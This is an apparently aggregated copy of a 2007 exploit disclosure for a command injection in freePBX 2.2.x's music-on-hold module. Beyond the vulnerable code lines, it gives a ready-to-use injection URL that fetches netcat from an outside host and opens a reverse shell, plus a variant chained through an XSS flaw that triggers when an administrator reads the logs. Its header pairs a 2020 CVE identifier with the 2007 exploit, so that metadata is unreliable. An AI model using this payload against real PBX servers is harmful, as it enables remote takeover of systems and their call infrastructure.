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freePBX 2.2.x's Music-on-hold Remote Code Execution Injection

CVE Category Price Severity
CVE-2020-25078 CWE-77 $5000 High
Author Risk Exploitation Type Date
Unknown High Remote 2007-05-12
CPE
cpe:cpe:/a:freepbx:freepbx:2.2
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2007050006

Below is a copy:

I've found a code injection in the music-on-hold module at freePBX's  
portal.

There are Inssuficient filters in the delete functions. Only " '  
and ; are being filtered.

Vulnerable Lines:
300:                        $rmcmd="rm -f "".$path_to_dir."/". 
$del.""";
301:                        exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.php?display=music&del=`wget -q  
http://xenomuta.coolinc.info/nc -O /tmp/nc``/tmp/nc  
myhost.mydomain.com 1234 -e /bin/sh`&category=default


You can inject this code without access to the portal into the /var/ 
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src="/admin/config.php? 
display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc 
``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default">"
hoping that an administrator to view the logs from the portals....  
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/ 
053882.html


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